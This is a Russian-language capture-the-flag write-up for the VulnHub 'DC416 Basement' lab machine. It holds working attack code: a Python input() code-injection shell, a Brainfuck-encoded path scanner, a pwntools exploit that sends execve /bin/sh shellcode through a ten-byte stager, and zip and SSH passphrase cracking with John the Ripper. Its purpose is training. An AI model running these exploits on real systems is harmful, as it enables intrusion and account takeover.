VulnHub: Слепая эксплуатация и Брайнфак в DC416 Basement09.01.2017 11:04

• DC416 Dick Dastardly

Начнём

$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Nmap scan report for 192.168.1.221
Host is up (0.00086s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
8080/tcp open http-proxy ------[-->+++<]>.[→+++<]>.---.++++.
8090/tcp open unknown
10000/tcp open snet-sensor-mgmt
10001/tcp open tcpwrapped
MAC Address: 08:00:27: DF: F5:5E (Oracle VirtualBox virtual NIC)

$ sudo dirsearch -u http://192.168.1.221 -w /usr/share/dirb/wordlists/big.txt -e php,txt,bak,jpg,json,html -r -f

Flag 1

$ nc 192.168.1.221 10000

Отлично, судя по всему это Python2, с его замечательной функцией input. Попробуем выполнить свой код и посмотреть содержимое текущей директории:

$ nc 192.168.1.221 10000
 Please enther number of packets: __import__('os').system('ls')
flag.txt  ping.py  run_ping.sh

PING localhost (127.0.0.1) 56(84) bytes of data

#!/usr/bin/python3
import socket
from time import sleep

host = '192.168.1.221'
port = 10000

def connect(data):
        s = socket.socket()
        s.connect((host, port))
        s.recv(1024)
        s.send(('%s\n' % data).encode())
        sleep(0.5)
        req = s.recv(4096)
        print(req.decode())

cmd = ''
while cmd != '\q':
        cmd = input('> ')
        connect("__import__('os').system('%s')" % cmd)

> cat ./flag.txt
flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}

> ls -ahl
.....
drwx------ 2 jack jack 4.0K Nov 21 16:53 .secret
> ls -ahl .secret
-rw------- 1 jack jack 2.0K Nov 21 16:53 marla.xip

Flag2

$ curl http://192.168.1.221:8090

You should be redirected.

102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125

Flag3

tyler 1319 0.0 0.1 4080 636? S 11:49 0:00 /home/tyler/tiny 8080

$ curl http://192.168.1.221:8080/ -vv

* Hostname was NOT found in DNS cache
*   Trying 192.168.1.221...
* Connected to 192.168.1.221 (192.168.1.221) port 8080 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.1.221:8080
> Accept: */*
> 
< HTTP/1.1 200 OK
* Server ------[-->+++<]>.[->+++<]>.---.++++. is not blacklisted
< Server: ------[-->+++<]>.[->+++<]>.---.++++.
< Content-length: 36246
< Content-type: text/html

$ nc 192.168.1.221 8080

123
HTTP/1.1 501 Not Implemented
Content-type: text/html


501: Not Implemented
+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: 123
------[-->+++<]>.[->+++<]>.---.++++.

#!/usr/bin/python3
import socket
import sys
import re
from time import sleep

def char2bf(char):
	result_code = ""
	ascii_value = ord(char)
	factor = ascii_value / 10
	remaining = ascii_value % 10
	result_code += "{}".format("+" * 10)
	result_code += "["
	result_code += ">"
	result_code += "{}".format("+" * int(factor))
	result_code += "<"
	result_code += "-"
	result_code += "]"
	result_code += ">"
	result_code += "{}".format("+" * remaining)
	result_code += "."
	result_code += "[-]"
	return result_code

def str2bf(string):
	result = ""
	for char in string:
		result += char2bf(char)
	return result

def connect(file):
	host = '192.168.1.221'
	port = 8080
	req = 'GET %s HTTP/1.0\n\n' % (str2bf(file))
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((host, port))
		s.send(req.encode())
		sleep(1)
		data = s.recv(90480)
		s.close()
	except:
		s.close()
		return 500
	data = data.decode()
	if 'HTTP/1.1 404 Not Found' in data: pass
	elif 'HTTP/1.1 200 OK' in data:
		print('File %s found' % file)
		print(data)

wlist = open(sys.argv[1]).read().splitlines()
for item in wlist:
	if connect(item.strip()) == 500:
		print('Item %s not found' % item)
		sleep(500)

$ ./brainfuck.py test

$ ssh -i /tmp/id_rsa tyler@192.168.1.221

Flag 4

robert 1331 0.0 0.5 19644 2748? S 11:50 0:00 socat TCP-LISTEN:10001, reuseaddr, fork, range=127.0.0.1/32 EXEC:./tenbytes, pty, stderr, echo=0

$ ssh -i /tmp/id_rsa -L 10001:127.0.0.1:10001 -N tyler@192.168.1.221

$ nc 127.0.0.1 10001
Tee hee! Gimme ten bytes to run!

$ sudo msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell
shell =  ""
shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

def gen_payload(offset):
	payload = ""
	payload += "\x01\xd2"                     # add edx, edx
	payload += "\x5f"                         # pop rdi
	payload += "\x48\x83\xef" + chr(offset)   # sub rdi, offset
	payload += "\xff\xe7"                     # jmp rdi
	payload = payload.ljust(10, "\x90")
	return payload

• Удваиваем EDX
• Если наше предположение верно, и вызов осуществляется через CALL, то извлекаем адрес возврата, в неиспользуемый регистр
• Через последовательное увеичение значения offset, находим call read
• Переходим на read, а остальное заполняем NOP'ами

#!/usr/bin/env python2

from pwn import *

context(bits = 64,
	os = 'linux',
	aslr = True,
)

port = 10001
host = '127.0.0.1'

def encode_payload(p):
	return ''.join(['\\x%0.2x' % c for c in bytearray(p)])

def gen_payload(offset):
	payload = ""
	payload += "\x01\xd2"                     # add edx, edx
	payload += "\x5f"                         # pop rdi
	payload += "\x48\x83\xef" + chr(offset)   # sub rdi, offset
	payload += "\xff\xe7"                     # jmp rdi
	payload = payload.ljust(10, "\x90")
	return payload

isEdxValid = False
validEdx = 80	# len(shell)==48
while isEdxValid == False:
	offset = 0
	while offset <= 255:
		try:
			log.info('Current offset is %d' % offset)
			p = remote(host, port)
			payload = gen_payload(offset)
			log.info( 'Payload: %s' % (encode_payload(payload)) )
			p.recvline()
	
			EDX = 0x0a
			while EDX < validEdx:
				p.send(payload)
				EDX += EDX
			log.info('EDX now is %d' % EDX)

			shell = ""
			shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
			shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
			shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
			shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
	
			log.info('Sending shellcode')
			p.send(shell)

			# check for no tty message
			p.sendline()
			output = p.recvline(timeout=0.5)
			if output and 'tty' in output:
				log.success('Found offset!!! %d' % offset)
				isEdxValid = True
				break
	
			if offset == 255:
				log.error('No valid offset found!')
				isEdxValid = False
				count += 1
			p.close()
		except EOFError:
			log.warning('Error on offset %d' % offset)
			p.close()
		finally:
			offset += 1
	validEdx += validEdx

p.interactive()

.text:0000000000400626 main            proc near               ; DATA XREF: start
.text:0000000000400626
.text:0000000000400626 var_30          = qword ptr -30h
.text:0000000000400626 var_24          = dword ptr -24h
.text:0000000000400626 var_18          = qword ptr -18h
.text:0000000000400626 var_10          = qword ptr -10h
.text:0000000000400626 buf             = qword ptr -8
.text:0000000000400626
.text:0000000000400626                 push    rbp
.text:0000000000400627                 mov     rbp, rsp
.text:000000000040062A                 sub     rsp, 30h
.text:000000000040062E                 mov     [rbp+var_24], edi
.text:0000000000400631                 mov     [rbp-48], rsi
.text:0000000000400635                 mov     edi, offset s   ; "Tee hee! Gimme ten bytes to run!"
.text:000000000040063A                 call    _puts
.text:000000000040063F                 mov     r9d, 0          ; offset
.text:0000000000400645                 mov     r8d, 0FFFFFFFFh ; fd
.text:000000000040064B                 mov     ecx, 98         ; flags
.text:0000000000400650                 mov     edx, 7          ; prot
.text:0000000000400655                 mov     esi, 4096       ; len
.text:000000000040065A                 mov     edi, 0          ; addr
.text:000000000040065F                 call    _mmap
.text:0000000000400664                 mov     [rbp+buf], rax
.text:0000000000400668                 mov     rax, [rbp+buf]
.text:000000000040066C                 mov     edx, 0Ah        ; nbytes
.text:0000000000400671                 mov     rsi, rax        ; buf
.text:0000000000400674                 mov     edi, 0          ; fd
.text:0000000000400679                 mov     eax, 0
.text:000000000040067E                 call    _read
.text:0000000000400683                 mov     rax, [rbp+buf]
.text:0000000000400687                 mov     [rbp+var_10], rax
.text:000000000040068B                 mov     rax, [rbp+var_10]
.text:000000000040068F                 mov     [rbp+var_18], rax
.text:0000000000400693                 mov     rax, [rbp+var_18]
.text:0000000000400697                 call    rax
.text:0000000000400699                 mov     rax, [rbp+buf]
.text:000000000040069D                 mov     esi, 4096       ; len
.text:00000000004006A2                 mov     rdi, rax        ; addr
.text:00000000004006A5                 call    _munmap
.text:00000000004006AA                 mov     edi, 0          ; status
.text:00000000004006AF                 call    _exit
.text:00000000004006AF main            endp

Flag 5

$ xortool marla.xip -b

Что-то нашлось, теперь отфильтруем результат:

$ file xortool_out/* | grep Zip
xortool_out/000.out:                               Zip archive data

$ 7z l xortool_out/000.out

Судя по всему это приватный ssh ключ пользователя marla. Однако просто так его достать не получится, архив ещё и запаролен. Компилируем John The Ripper, как это описано тут. Извлекаем хеш:

$ ./zip2john /tmp/marla.zip > /tmp/marla.zip.john

$ ./john /tmp/marla.zip.john

Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 8x SSE2])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
m4rl4 (marla.zip)
1g 0:00:00:00 DONE ⅓ (2017–01–08 23:56) 1.219g/s 3219p/s 3219c/s 3219C/s m4rl4.zip…mar1a.zipzip
Use the »--show» option to display all of the cracked passwords reliably
Session completed

$ ./john-1.8.0-jumbo-1/run/ssh2john marla > marla.ssh
$ sudo ./john-1.8.0-jumbo-1/run/john marla.ssh

Loaded 1 password hash (SSH [RSA/DSA 32/32])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
singer (marla)
1g 0:00:00:00 DONE 2/3 (2017–01–09 01:11) 1.086g/s 2165p/s 2165c/s 2165C/s rangers…88888888
Use the »--show» option to display all of the cracked passwords reliably
Session completed

$ ssh -i marla marla@192.168.1.221
Enter passphrase for key 'marla': 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
well done! your flag is flag{l4y3rs_up0n_l4y3rs}
Connection to 192.168.1.221 closed.

Комментарии (0)